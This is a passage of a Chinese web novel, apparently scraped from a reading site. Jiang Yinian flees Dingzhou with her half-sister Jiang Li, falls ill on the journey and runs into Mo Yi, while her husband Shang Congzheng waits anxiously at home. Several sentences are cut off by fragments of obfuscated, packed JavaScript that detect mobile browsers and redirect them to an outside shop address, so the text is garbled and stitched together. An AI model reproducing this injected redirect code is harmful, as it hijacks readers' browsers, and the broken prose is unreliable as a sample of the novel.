离开祠堂,柯玉疾步跟在姜宜年身边,没一会儿,尤嬅出现在二人身边。 “行李收好了吗?” “戚英收好了,已经全部放上马车了。” 柯玉靠近姜宜年小声开口:“还以为娘子看到那么多人,会改变计划。” 姜宜年没说话,一开始是有一点犹豫,谁让老太太咄咄逼人的。 原本的计划是用这件事跟老太太、姜叶谈判,在看到还有那么多观众在的时候,姜宜年是思考了一下要不要说的。 但从对方做这些事情的起始原因来看,姜宜年觉得这未必不是某种因果报应。 平安无事到了客栈,柯玉惴惴不安的一颗心才稍稍放下。 她们提前定了三间房,只休息一晚,天亮就启程回嵘城。 不过归程不止她们四个,还多了个人。 姜宜年把门推开,里面的人被吓得抖了一下,看到是姜宜年,惊惧的表情和缓了一点儿。 “抱歉,我不知道你在这个房间。”姜宜年指了下旁边,“尤嬅跟我说你在隔壁住。” 尤嬅赶过来,立刻开口解释:“是我说错了,娘子罚我吧。” “小事。”姜宜年摆了摆手,带着柯玉进门,“反正我们也有话要说,你帮我找点吃的来,你和戚英肯定也饿了,都先吃些东西吧。” “是。” 姜宜年看向里面的人,问:“你现在方便吗?” 对方怯怯地点了点头。 姜宜年走到对方面前坐下,柯玉关了门,守在门口。 这人叫姜礼,原本也住在姜家,不过只有极少数的人知道她姓姜,大多数人都以为她只是个普通下人。 “她很生气吧?”姜礼小声询问。 “不知道是害怕多,还是愤怒多,应该都有吧。” 没一会儿,尤嬅拿了吃的来,姜宜年问姜礼:“你吃过了吗?” 姜礼点头之后,她分给了柯玉一些,自己吃了一些。 没那么饿了以后,心情也好了不少。 “你会……信守承诺的吧?”看得出来,姜礼怕到不行。 姜宜年看向她,笑了一声,“你也知道选择向我求助,是在赌我的良心吧?” 姜礼点了点头。 “那就不要问这种问题了,无论我给出什么样的答案,都要看最后能不能做到。” 姜礼是姜叶母亲养在外头的人生下的孩子,姜叶的母亲年轻时非常多情,但因为姜家不是小门小户,长辈在乎名声,准她最多娶五个。 这样可不能限制她看到美人不动心。 姜礼的父亲长得很好,被姜叶的母亲一眼看中。 虽然是农户家的儿子,好歹身家清白,如果她不是已经娶了五个的话,还是能收进院里的。 可姜叶的母亲没什么长进,那时候总跟家里对着干,姜礼的父亲怎么都没能进门。 姜叶母亲去世没多久,姜礼出生,家里穷得很,因为难产,她父亲也没能活多久。 在家里将将养到五岁,实在养不起了,就找去了姜家。 这事知道的人不多,传到了当时当家的老太太耳朵里,老太太知道女儿的德性,再看孩子的长相,确实跟女儿有几分相似。 但她不能确认这孩子是姜家血脉,也不想承认。 农户说如果她不帮帮这个孩子,她就没有活路了,老太太一念之差留下了姜礼。 让她随父亲的姓。 姜礼从那时候起,就成为了姜家的下人,做些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845907|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洒扫清洗的事情。 但老太太不让她进内院,也不准她告诉其他人自己的身世。 因为年纪小,无依无靠,姜礼一直被其他人欺负,每日连饭都吃不饱,只是活着而已。 她决心为自己想个改命的法子,观察了很久,把目标放在四姑娘身上。 姜礼没有看错人,“凑巧”看到她被欺负的时候,四姑娘将她收到身边,甚至让她跟自己一起读书识字。 从一开始,姜礼就是个局外人,看到了很多身处其中的人看不到的东西,例如姜叶的那些小动作。 不过她掉以轻心了,四姑娘还是受了伤,再也站不起来,也没了读书考试的心气儿,每日躲在院子里混沌度日。 姜礼决心一定要让姜叶付出代价,直到姜宜年出现。 她把自己知道的所有事情都告诉了姜宜年,与之交换的条件,是希望姜宜年带她离开鼎州,她想有个正式的身份读书考试。 姜宜年同意了。 但,人说出口的话,总是利于自己的。 姜宜年觉得姜礼有私心是正常的,然而她叹息四姑娘的腿,是因为真的没想到,来不及,还是放任不管,目前很难说。 她不想继续深究,来赴鼎州这趟鸿门宴,死了她好多脑细胞,她累了。 越来越想回嵘城。 姜宜年问姜礼:“你认为姜叶会放任我们离开吗?” 按姜礼的说法,姜叶不知道她的真实身份,但老太太一定会立刻怀疑到她身上来,所以姜礼在跟姜宜年主动坦白一切的时候,就没打算继续待在姜家。 “我……不知道。”姜礼皱着眉,思索半晌,开口道:“但是如果你在鼎州出了事,她也很难办吧?” 如果自己死在鼎州…… 姜叶到底难不难办姜宜年不知道,商琮琤一定会崩溃的。 得平安回去。 姜宜年回到了自己的房间,戚英向她汇报自己调查得到的消息。 姜礼所言非虚。 “外面的人都知道,四姑娘出事时,有个随从舍命相救,摔坏了胳膊,那个随从应该就是她。” 戚英说完,尤嬅也跟着点头,“她刚才没想到娘子会突然推门出现,下意识捂了胳膊,姿势奇怪,那个位置应该就是当初受伤的位置,想来当初伤得不轻,养的时候也没机会好好养,必有痕迹,明日可以找机会再确定一下。” 姜宜年点了下头,看向她们两个:“你们两个的效率真的好高,先是发现姜礼藏在暗处看我的眼神不对,之后不过一个晚上,怎么就做到的找了那么多人证口供?” 戚英和尤嬅对视一眼,讪讪一笑。 尤嬅道:“都是些江湖上的老法子,我们混得久了,多少有些办法。” 戚英道:“而且不止一个晚上,今天白日还做了些事的。” “没错。” 姜宜年不置可否笑了一下,在想柯锦是从哪儿找到的这两个人,还挺好用。 两人心里有点儿虚,生怕姜宜年追问。 只凭她们两个哪里做得到这么多事,只不过不能让姜宜年知道罢了。 35. 第35章 姜叶不止三个姐妹,不过这三个都是大房的,对她的威胁最大。 其余四房也有几个姑娘,姜叶并没有放过,而是针对性地做了些处理,发现不足为惧后,没有太在意。 嵘城不算近,但原主昏迷的时候,姜叶为什么没有穷追猛打呢? 姜宜年一开始就想不明白这个问题,跟姜礼对上线之后,懂了。 原因有二: 一,姜叶身在鼎州,并不十分清楚嵘城的事,原主昏迷不醒,到底是到了什么程度?从来没有醒过?还是只是身体不好,隔三差五醒一醒,并不耽误什么事? 姜宜年这才知道,商琮琤给姜叶写的信里,说得很含糊,姜叶根本没办法从商琮琤那里套到什么有用的话。 二,那时候夺权这件事并不十分紧迫。 现在就比较紧迫了。 这也是姜宜年说因果报应的原因。 姜叶的亲妹妹,姜家的三姑娘,迷上赌博的那位,因为输急了眼手上沾了人命。 本来把她带歪之后,姜叶就没怎么管过她了,维护家里的生意并不容易,她知道的时候,自己的妹妹已经欠了太多钱,杀人的事要想掩埋下来,又要花很多钱。 姜家可不是平头百姓,实在是肥羊,很好勒索。 还有那些尊长们,各家有各家的麻烦,姜叶顶着家主的身份,每一家、每一个都要管。 刚好这个时候,姜宜年醒了,姜叶和老太太都感受到了绝望。 姜宜年明白,今天看到的所有人,都以为她挣扎一年终究还是会与世长辞的。 谁能想得到她真的会醒过来,会恢复得跟正常人没什么两样。 如果不在这个时候硬抢,趁她病,要她命,等她彻底恢复好了,还有什么指望。如果她不再维护商琮琤,变心了,她们便连这个把柄说辞也没有了。 “娘子先睡一觉吧,今日太累了。” “不睡了,一会儿就走。” 三人皆是一惊。 柯玉问:“不是天亮走吗?” “迟则生变,今天我把姜叶和老太太气急了,虽然我有她的把柄,但谁知道她们会不会一时变得极端做出点儿什么不理智的事情来。” 姜宜年看向戚英和尤嬅,“只是要辛苦你们了。” “不辛苦,不辛苦。”两人一直摇头。 “再等半个时辰,其他人都睡了,我们从后门走。” 柯玉道:“那我现在去跟姜礼娘子说一声。” “不。”姜宜年拉住她,“走的时候再告诉她。” 柯玉不明白,但照做。 姜宜年吹了灯,她很累,眼皮开始打架,不过一直撑着没睡着,另外三人在黑暗中陪着她。 半个时辰到了,柯玉起身要去告知姜礼。 “我去吧。”戚英自告奋勇,柯玉看了一眼姜宜年,见她没阻止,也没争着去。 “尤嬅,你带娘子她们去马车上,小心一点。” 两人对视点了个头。 姜礼被带上马车时睡眼惺忪,又惊又怕,“发生了什么?” “什么都没发生。”姜宜年说:“正是要避免发生些什么。” 姜礼愣了愣,好像懂了又好像没懂。 她闭了嘴,窝在马车角落里。 戚英和尤嬅在外面赶车,动静很小。 出城时没有被拦住,姜宜年稍稍放了心,她还以为姜叶会在城门口使绊子。 姜宜年猜想姜叶现在可能还处于盛怒状态,也有可能被那些尊长纠缠着,暂时脱不开手来报复她。 姜礼看起来是她们几个人里面最恐惧的一个,她躲在角落里发抖,眼角都在微微抽动。 从她的角度看不到有没有成功出城。 于是姜宜年轻声开口:“放轻松,我们已经出城了。” 姜礼仰头看向她,眼底情绪浓烈,但说不好是什么。 溺水后的将死之人抓住了浮木?后知后觉的生还惊喜? 姜宜年觉得都不准确。 她倒不是很担心姜礼是个坏胚子,她对姜家人没什么感情基础,也想好了,但凡这人有什么出格的行为,就把她交给姜叶。 只是在现在她还什么都没做的时候,需要费些心力多提防些罢了。 姜宜年打了个哈欠,跟姜礼说:“你要是困了,可以睡一会儿。” 柯玉在姜宜年躺下之前开口问道:“娘子,我们还会经过穹州吗?” 姜宜年看向柯玉,她在这之前是看出了一些东西,不过这种紧急关头柯玉都还记得穹州,姜宜年感觉她有点儿认真了。 “会经过,但不会停留。” 姜宜年没有错过柯玉脸上转瞬即逝的欣喜,和后来者居上的遗憾。 她淡声解释道:“如果我们去看晁旌,可能反而会给他惹麻烦。” 毕竟穹州离鼎州这么近。 柯玉有些担心地皱眉开口询问:“那……是不是不去见他也会给他惹麻烦?” “现在应该不至于,姜叶气的是我,在她看来,目前晁旌对我来说只是个顺路所以带上帮一把的路人甲,可如果知道我们专门在离开的时候去了穹州找他,就会认为他是我们的朋友。”姜宜年说:“这对他没有好处。” 柯玉只好接受现实,点了点头。 姜宜年拍了拍她的手背,轻声开口安慰:“如果你想见他,以后还有机会,你也可以自己去找他。” 柯玉瞪大了双眼,“我没……”她急得口干舌燥:“我没有想见他,娘子,我没有。” 姜宜年弯了弯唇,“好吧,你说没有就没有吧。” 姜礼坐在一边看着她们说话,一直没插话。 接连两天,她把存在感降到最低,就像一行人里没有她这么个人似的。 姜宜年觉得挺好,不用尬聊,也不用走过场,反而自在。 第三天,姜礼好像已经确定了姜宜年对她所知道的姜家秘闻没什么兴趣,没有要问她的任何问题,便大着胆子跟她借书看。 姜宜年手边有几本书,都是商琮琤担心她路上无聊给她带上的,是些奇闻异事的话本子。 难得姜礼开口,她全给了出去。 自此,两人说话的内容基本都是围绕着她们看过的书里故事展开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852252|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没人再主动提起鼎州姜家。 一开始姜礼还以为姜宜年帮了自己,除过是她主动提出的条件之外,还因为认为她知道更多能拿捏住姜叶的事情。 但姜宜年好像对姜叶、鼎州姜氏的其他人,亦或是自己这些年来所遭遇的一切都没有兴趣。 还没她的夫郎给她带上的在路上解闷儿的话本子故事兴趣足。 至于之前愿意听她说那些,问了那些问题,不过是因为那个时候需要知道。 姜礼什么事情都会考虑得很深很透,但姜宜年的行为,思维逻辑其实很浅显,没她想得那么复杂,也没有姜叶及她身边的那些人想得那么复杂。 姜宜年离开后,那些聚众攻击过她的姜氏尊长们,还担心了好长一段时间。 在她们看来,姜宜年不服管教,不给同族人面子,甚至不尊老敬老,简直就像是着了魔一样。 话说的那么绝,事情想来也不可能轻易善了。 她知道那么多事,牵扯了那么多人,丝毫不遮掩地直接在祖宗祠堂里抖落出来,后面或许还有更大的动作。 虽说她们也是在祖宗面前呈上她行为的不当,不过多是规劝她不要过分宠溺自己的夫郎,她的夫郎,虽然已经嫁到了姜家,但还未生女,怎么说都算是个外人,她们当然无论如何说都不为过。 可姜宜年本人,当着所有尊长的面揭露了姜叶做的龌龊事,还忤逆长辈,肆无忌惮口不择言…… 桩桩件件,都不像个正常人能做得出来的。 就像个疯子。 跟疯子是没有办法讲道理的。 不少人心里都在后悔,不应该听老太太和姜叶的话,把姜宜年逼急了。 这个疯女人看起来可能会把整个姜家的所有人都拉下水淹死。 她做得出来。 但没想到,姜宜年走了,就像是真的走了,再没有其他打算一样。 姜宜年启程回嵘城在路上走了半个月的时候,她在姜家发生的一切,才被送到商琮琤手里。 商琮琤细细看完,内心受到了不小的震撼。 欣喜有之,忧虑有之,后怕有之。 在他垂死挣扎一般的幻想之中,自己是会被姜宜年轻易放弃的。 他还以为姜宜年身边有了新人。 哪怕在得知那个叫晁旌的并没有跟她一起去鼎州,而是在穹州就分开了的时候,商琮琤依然担心他们已经互生情愫。 后来收到了姜宜年的两封信,他终于睡了两个晚上的好觉。 可没过多久,又开始周而复始一般忧虑起来。 会不会在信寄出之后又发生了什么,又遇到了什么人呢? 姜宜年在写信时说他读到的时候自己已经在回程的路上了,可如果又有什么意外出现了呢? 商琮琤总是忍不住胡思乱想。 他根本控制不住。 可没想到,姜宜年不仅驳回了长辈让她休夫的无理要求,同时,还直接毫不顾忌地在宗族祠堂里扯下了所有人的遮羞布。 他想,或许她还不习惯与我亲近,只是因为不记得,而不是不喜欢。 36. 第36章 商琮琤细细看完,一张张放入炭盆燃了。 火光映红了他的脸。 “娘子就要回来了,郎君怎么还不高兴?” 吉枣原先并不知道纸上写了什么,看到商琮琤的表情好奇,问了一句,商琮琤没瞒他。 “山高路远,且半个月前妻主就已经启程了,还不知道路上又发生了什么。” 吉枣宽他的心:“依我看,郎君安排了那么多人暗中保护娘子,必然是不会出什么事情的,最大的问题不过是天气越来越冷,路不好走罢了。” “是不知道还会不会遇到其他事情,且,天气越来越冷,路还不好走。” 商琮琤说完,轻叹一声,又连着小声“呸”了三下。 吉枣笑了一声,商琮琤看向他,吉枣立即收声。 商琮琤现在心里全是那信里最后说的事情,懒得跟吉枣计较。 姜宜年提前离开是正确的。 其实就算第二日走,也能顺利离开,只不过一路上跟着她的那些人可就藏不住了。 姜叶应当是被姜宜年惹毛了,不知道盘算着些什么,确实找了人去盯梢,但晚了一步,姜宜年那时候已经走了。 回去禀了她的工夫,姜宜年一行人已经快出城了,姜叶又让人去拦,被商琮琤安排的人挡住了。 对方完全没占到便宜。 姜宜年这才无知无觉地平安出城。 商琮琤想知道姜叶原先想对姜宜年做什么,但转念一想,又觉得,幸好他没有机会知道。 等姜宜年离开了鼎州,姜叶的人像是就此放弃了。 但……除非下一刻姜宜年安然无恙地出现在商琮琤面前,否则他这一颗始终悬着的心,是决计放不下来的。 还有一个麻烦…… 信上说,姜宜年回程时多带了个人,暂时不知身份,连名字也还不清楚。 商琮琤对鼎州姜家的情况了解得比姜宜年多一些,就算不知道名字,但看信上说是个女子,就大概已经把整件事猜出了个七七八八。 尤嬅戚英找他安排的人帮忙收集人证口供,也得有个开头的人才是。 想来就是她了。 还不知道她会不会给姜宜年惹麻烦,也不知道她人品如何,在路上会不会算计姜宜年。 商琮琤愁得不行,连那几个活爹也懒得应付了。 午后郭氏让人来叫他,商琮琤便以身体不适担心给他过了病气直接推了。 晚饭都没多吃几口。 商琮琤睡了一会儿,醒了刚好看到吉枣进门,像是有话要跟他说。 “什么事?”他轻声问道。 吉枣犹豫不决,似乎很不想告诉他。 商琮琤心里咯噔一下,担心是姜宜年出了什么事。 不加掩饰直接问出了心里话。 “不不不,不是娘子的事,刚才……刚才牛真来找我,说……” 吉枣咬了下嘴唇,商琮琤沉下脸来,“说了什么?说啊。” “说……莫家那位,近日就要回来了。” 商琮琤一时脸色阴沉,一时紧绷的情绪又稍稍放松了些。 “不必管他。” 吉枣知道商琮琤只是嘴上这么说,心里还是很计较的。 他都能想到的事情,他这主子能想不到么。 吉枣撇了撇嘴角,道:“恐怕正是知道娘子醒了,才挑在这个时候回来。” 商琮琤面无表情,偏眸色沉沉:“他若是不来纠缠妻主,我也不会为难他。” * 天气越来越冷,尤其在路上奔波,再怎么样周到也毕竟不如待在暖和的屋子里。 姜宜年觉得自己很注意了,但很可惜还是染上了风寒。 柯玉如临大敌,当即想停下来住客栈,给姜宜年找大夫看病。 “不用……” 姜宜年揉了揉鼻子。 在她看来,应该是这身体刚醒过来,又一直长途劳累奔波,还有姜家的那些事儿,毕竟放在她心里细细算过,精神压力也是一部分因素。 但再怎么说,也还能撑得住,就是感冒的症状,还不是很严重的感冒,只是声音变了,有些流鼻涕罢了。 “几日就好了,没必要住客栈耽误时间。” 姜宜年道:“早日回去,大家就都舒服了,我这小毛病也能很快就好。” “话虽如此,但郎君出门时叮嘱了好多好多遍,要是娘子有什么不舒服,天大的事情也得让路,更不要说又不是马上就能回到嵘城,娘子不吃药可不行。” 姜礼这一路上很少说话,只一味看书,这个时候也没有发表什么个人见解。 反正她跟着她们,她们走她就走,她们停下她也走不了。 “你可饶了我吧。” 姜宜年想到了商琮琤那些时日端给她的那些苦药。 好不容易才停了药,她可不想再端起来喝。 小感冒,到了时间就好了。 她这么跟柯玉说,柯玉完全听不进去。 她看起来完全被吓坏了。 “那……不管怎么样,不让大夫看看是万万不行的,找个大夫看看吧。” 两边都不肯退让,柯玉没办法,先退了一步。 姜宜年想了想,不给大夫说句话的机会,柯玉说不定会被她这小感冒吓出什么毛病来,就同意了。 “好吧,找家酒楼吃顿好的,再找个大夫让她给我看看,再置办些用得上的东西。” “好。”柯玉总算松了口气,“谢娘子体谅我。” 姜宜年眨了眨眼,叹了口气。 她不体谅这小丫头这一关根本过不去啊。 没别的法子。 路走了二分之一,姜宜年也想打打牙祭,下个馆子。 在鼎州的时候想嵘城,可这就要回到嵘城了,姜宜年又有些怯意。 胆怯?羞怯? 都有吧。 商琮琤这些日子一定很担心她。 姜宜年想,或许从自己离开他视线的那一刻开始算起,一直到她回到嵘城,再次回到他的视线之内。 程度或有波动,时间按秒计算。 商琮琤给她写的那封信,姜宜年也会时时拿出来重看。 寥寥几句,全是想念和深情。 她一边想着“原主真是好福气”,一边想着“是老天分开你们的,始作俑者不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860200|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我”,一边又想着“回去之后该怎么办才好?” 没有解决的问题,只会重复出现,直到被解决。 “阿嚏!” 姜宜年刚刚打了个喷嚏,柯玉一张脸皱皱巴巴的,赶紧着让她加一件衣裳,说着就要去马车上取。 “好了,一会儿吃着热乎饭就热了,你歇歇吧。” 姜宜年一把拉住柯玉让她坐下。 一转头,发现姜礼一直盯着她们看。 这应当是她的习惯,姜宜年想着,在姜家的那么多年,她兴许一直都是这个样子。 暗中的窥伺者。 看得人心里发毛。 柯玉知道姜礼的真实身份,连忙起身,说要去安排采买东西。 戚英和尤嬅本不是姜家的人,无论姜宜年怎么说,除非条件特殊,不然是不肯跟她坐在一起吃东西的。 柯玉先前还好说,可现在有姜礼在,她的礼数又周全起来了,说什么都不愿意跟主子同桌吃饭。 姜宜年知道柯玉怎么想,干脆不让她伺候了,让她去跟戚英、尤嬅坐一桌。 “都先安心吃饭。” “还得找大夫呢。”柯玉心里事情多,不敢懈怠。 姜宜年摆摆手,“不然就如你所说,在这里歇上一晚,一会儿订上三间房。” 柯玉“哎”了一声,答应得很痛快。 看柯玉去了别桌,姜礼眼神也有些动摇,桌上菜齐了,姜宜年也没问她,先拿了筷子。 “我去那桌吃吧。” 这一路上马车没停过,用饭都是在路上草草解决的,这算是她们头一次正式坐在一起吃饭。 姜宜年瞅了她一眼。 “我知道你没拿我当姐姐,实话说我也没拿你当妹妹,但这不妨碍我们坐在一起吃饭,不要拘泥于这些小节,若你不在,柯玉不会这么别扭,她比你想得开,不过担心让你瞧着觉得嵘城姜家的人没规矩,才这么小心的,你就别别扭了。” 姜礼看着姜宜年眨了眨眼,拿起了筷子。 低头往嘴里扒拉了几下米饭,她突然抬头,小声开口:“如果姜叶抢走了你的家主位置,姜家也就离没落不远了,她来管家,可能还比不上你家里的那个男人。” 姜宜年没反驳,轻笑了一声,“我都比不上,更何况她。” 姜礼目光微微闪烁。 姜宜年问道:“你是想说,你找上我,不全是为了自己的前程,也有为了姜家的缘故?” 姜礼沉默了一会儿,道:“我猜是这样。” 姜宜年这次是真的笑出了声,这人挺有意思。 姜礼一直看着她。 姜宜年索性大大方方告诉她:“我喜欢有话直说,有目的直说,有想法直说,你想从我这里得到什么,往后请全部直说,不要拐着弯搞小动作。当然,我不可能满足你的所有愿望,是人就会权衡利弊,这个道理我想你明白。你要是想知道我在想什么,大可以问,能告诉你的我不会瞒着,不过,如果你想背后捅刀子,最好一击致命整死我,否则,我一定不会放过你。” 姜礼深深地凝视着她,姜宜年已经开启沉浸式用餐模式了,才听到她说:“知道了。” 37. 第37章 入住客栈之后,很快,柯玉就找来两个大夫,轮流给姜宜年把脉。 直到两个大夫都说姜宜年只是微感风寒问题不大的时候,柯玉才正式松了口气。 姜宜年看向她,轻笑一声道:“怎么样?现在可以放心了吧?” “娘子别这么说,就算只是风寒也不能掉以轻心。” 姜宜年分不太清柯玉这么担心她,是因为真的担心,还是因为害怕被商琮琤问责。 怎么样都行,反正是为了她好。 这样想就行了。她告诉自己。 虽然只是小小风寒,后一步离开的大夫还是建议姜宜年喝两副药。 “风寒是不要紧,但脉象显示,娘子的身体似有亏损。如这位娘子所言,即便是小小风寒,也不可掉以轻心。” “亏损?” 闻言,姜宜年也重视起来,连忙问大夫:“很严重吗?” “不严重,不严重,只是从脉象中看,娘子先前似乎大病过一场,还没有彻底养好,近日想来怕是一直劳累,心神俱疲。若是不重视微小的不适,担心会由浅及深,再引来一场大病。” 柯玉警惕性拉满,让大夫立刻写下药方,还说两副不够,让她起码安排上七天的。 姜宜年又欣慰又无语。 “人家大夫都说两副药就够了,像你是大夫人家反而不是似的。” “娘子……” 大夫跟着笑了起来,“是药三分毒,多喝无益,娘子只需保持心情愉悦,再喝着药,这种小病很快就能好。” 戚英拿着药方去抓药,回来柯玉盯着熬,熬好了之后,柯玉又亲眼看着姜宜年喝到肚子里,还是一脸的忧心忡忡。 姜宜年问她:“你这么担心,是不是害怕郎君骂你啊?” “不是……” 柯玉咬了咬嘴唇,才把心里话说出来。 “娘子醒着,什么事都算不上是大事,所有困难都会迎刃而解,但娘子若是又病了,这个天就好像随时都会塌下来压死所有人一样。” 姜宜年怔了怔。 她以前从来没有试过被人看得这么重要过,真是很新奇的体验。 明明现在支撑着整个姜家的人依然是商琮琤,她不过是醒了过来,就像…… 就像个吉祥物,本来以为自己无关紧要…… 不,也不能这么说,她一直都知道只要自己在,身边的所有人都会莫名多很多底气。 她醒着,周围的一切都能维持日常的正常运转。 不过听到柯玉把这样的话说出口,姜宜年再一次切实体会到了自己的重要性。 “看来我没醒过来的时候,你们的日子真的很不好过。” 柯玉不知道想到了什么,红了眼眶。 她揉了揉眼睛,摇了摇头,道:“我还好,不过郎君和我姐姐确实辛苦,尤其是郎君。” 柯玉抱住了姜宜年的胳膊晃了晃。 “娘子,你一定要健健康康的,好不好?你一定不能生病,一定不能再像之前那次一样昏迷不醒了,虽然姐姐和郎君从来没有说过什么,但我知道,如果再来一次,所有人都会活不下去的。” 姜宜年内心的某个地方变得柔软。 “嗯。” 她看着柯玉点了点头,又想到了商琮琤。 突然有种冲动想要继续赶路,但很快就冷静下来。 既然已经做了决定,反反复复算什么事儿。 只是休整一天,就算她没事,其他人也都累了,需要休息一下。 柯玉询问姜宜年喝了药要不要睡一觉。 姜宜年不想把时间浪费在睡觉上,提出想出去逛逛。 刚好她们需要购置一些路上用的东西,就提议一起出门。 其他人自然没有意见,姜礼拒绝了。 柯玉私下问姜宜年,需不需要留下一个人看着她。 姜宜年想了想,觉得没有必要。 她要走就走,姜宜年又没有损失。 不过又突然想到,说不定姜礼会希望她们留下一个人看着她呢,是监视也是保护。 姜宜年让戚英留下,自己和尤嬅、柯玉出门。 买好了东西,姜宜年的视线被街边的小摊位上的东西吸引。 柯玉发现了,顺着她的视线看过去,站到她身边笑道:“那簪子很适合郎君呢,娘子要买吗?” “……” 姜宜年看了她一眼,没说话。 心中有些犹豫。 她知道柯玉说的是哪一只簪子。 碧玉色的那一支,颜色通透。 商琮琤有几套衣衫跟这个颜色很接近,他穿得很好看。 连柯玉都一眼看到准确定位,跟她想到一块儿去了,不买不合适。 可姜宜年还在犹豫。 “娘子?”柯玉像是完全不能理解,不知道她在想什么。 姜宜年含糊了一下,开口道:“算了,这簪子太便宜,他应是看不上的。” 这当然是借口,但姜宜年觉得找得比较合理。 商琮琤是姜家家主的正夫,还是姜家的暂代家主,吃穿用度都是最好的,这种小摊上买的首饰,送给他总觉得不合适。 姜宜年真正犹豫的原因无法宣之于口。 她和商琮琤是原配妻夫吗?她一个异世界的孤魂,给别人的夫郎送首饰是什么道理。 柯玉笑了。 “娘子现在不记得,会这样想是正常的,但其实就算娘子一文钱不花,在路边折一枝花送给郎君,他也会很高兴的。” 姜宜年感觉自己被架起来了。 算了,买就买吧,不然柯玉这个小话痨会一直念叨。 买了不送就行了。 姜宜年过去付了钱,将那支簪子买了下来。 刚收好,姜宜年突然被不知道从哪里窜出来的一个人紧紧抱住,吓了一大跳。 “姜姐姐!真的是你!你醒过来了!” 姜宜年连抱着她的人长什么样子都没看清楚,就听到那人在自己耳边哭喊。 “……” “你是……” 姜宜年使劲儿把人扒拉开,看到了一张清秀的脸。 那少年正泪眼婆娑地看着她,看到姜宜年满脸疑惑,抽泣着抹泪。 “姜姐姐,你不认得我了吗?我是莫沂啊。” “莫公子。” 柯玉显然也没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865915|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在这个时候这个地方遇到这么个人,愣在一旁,缓了一会儿才回过神来走到姜宜年身边。 她小声提醒姜宜年:“这是莫邈莫娘子的弟弟。” 莫邈? 姜宜年想起来了具体人物。 而眼前的人还在哭个不停,“姜姐姐真的不记得我了,原来我阿姐说的竟是真的……” 他们这边的动静,吸引了不少街上人的注意力。 姜宜年将其带到一个茶楼,面对面坐下之后,莫沂还是哭个不停。 “既然是莫邈的弟弟,你怎么不在莫家?在这儿做什么?” 莫沂抽泣着凝望着她回答:“阿姐写了信给我,我得知了姜姐姐的情况,就想赶回嵘城去看看。” 柯玉靠近姜宜年耳边,小声开口:“娘子昏迷不醒期间,莫公子一直不在嵘城,听说是在亲戚家里住着。” “是。”莫沂吸了吸鼻子,解释道:“姜姐姐当时一直昏迷不醒,我看着伤心,姑姑邀我到她家里去住,我就离开了嵘城。” 姜宜年还没开口,莫沂继续道:“不过收到阿姐的信,得知姜姐姐醒过来了之后,我立刻就决定了要回嵘城,就是为了见姜姐姐。” 他抹了下眼角,抽泣着说道:“没想到还没到嵘城就见到了姜姐姐,一定是老天听到了我的愿望,这也是我跟姜姐姐的缘分。” 姜宜年:“……” 这小子话密到她都不知道什么时候什么时候能成功插嘴。 等他说完,姜宜年都不知道该说什么好了。 莫沂哭得情真意切,但姜宜年对他和原主的关系产生了浓重的疑惑。 就算是莫邈本人,看到“她”醒过来之后,也只是在一开始有些激动。 而作为莫邈的弟弟,在看到她安然无恙之后,居然会持续激动这么长的时间,甚至现在说着话还会时不时掉眼泪。 他不会…… 可如果眼前这少年对原主原本是有什么想法的,为什么当初莫邈跟她见面的时候,从来没有提到过他呢? 姜宜年压下心里的种种疑问,对莫沂挤出来一个微笑。 莫沂急切地问:“姜姐姐,你这是要去哪里啊?你怎么没在嵘城呢?为什么才刚刚大病初愈,就急着出远门啊?是不是有什么麻烦事?我可以帮到你吗?” 姜宜年:“……” 她缓了一下,轻笑一声。 “办点事情,已经办完了,打算回嵘城。” 莫沂听到这话,眼睛立刻亮了起来,“是吗?那不是正正好吗?我们可以同路啊!” 姜宜年先前没说话的时候已经想到了会出现这种情况。 是在想到这种情况之后,才开口说了实话,所以听到之后表情还算稳得住。 但看旁边的柯玉,已经瞪大了眼睛,一脸的慌乱。 莫沂那边除了跟着他的贴身仆从,就是姑姑派遣保护他的人,一行四人。 按道理来说同行没什么问题,反而两边都更加安全了,但柯玉不觉得这是个好主意。 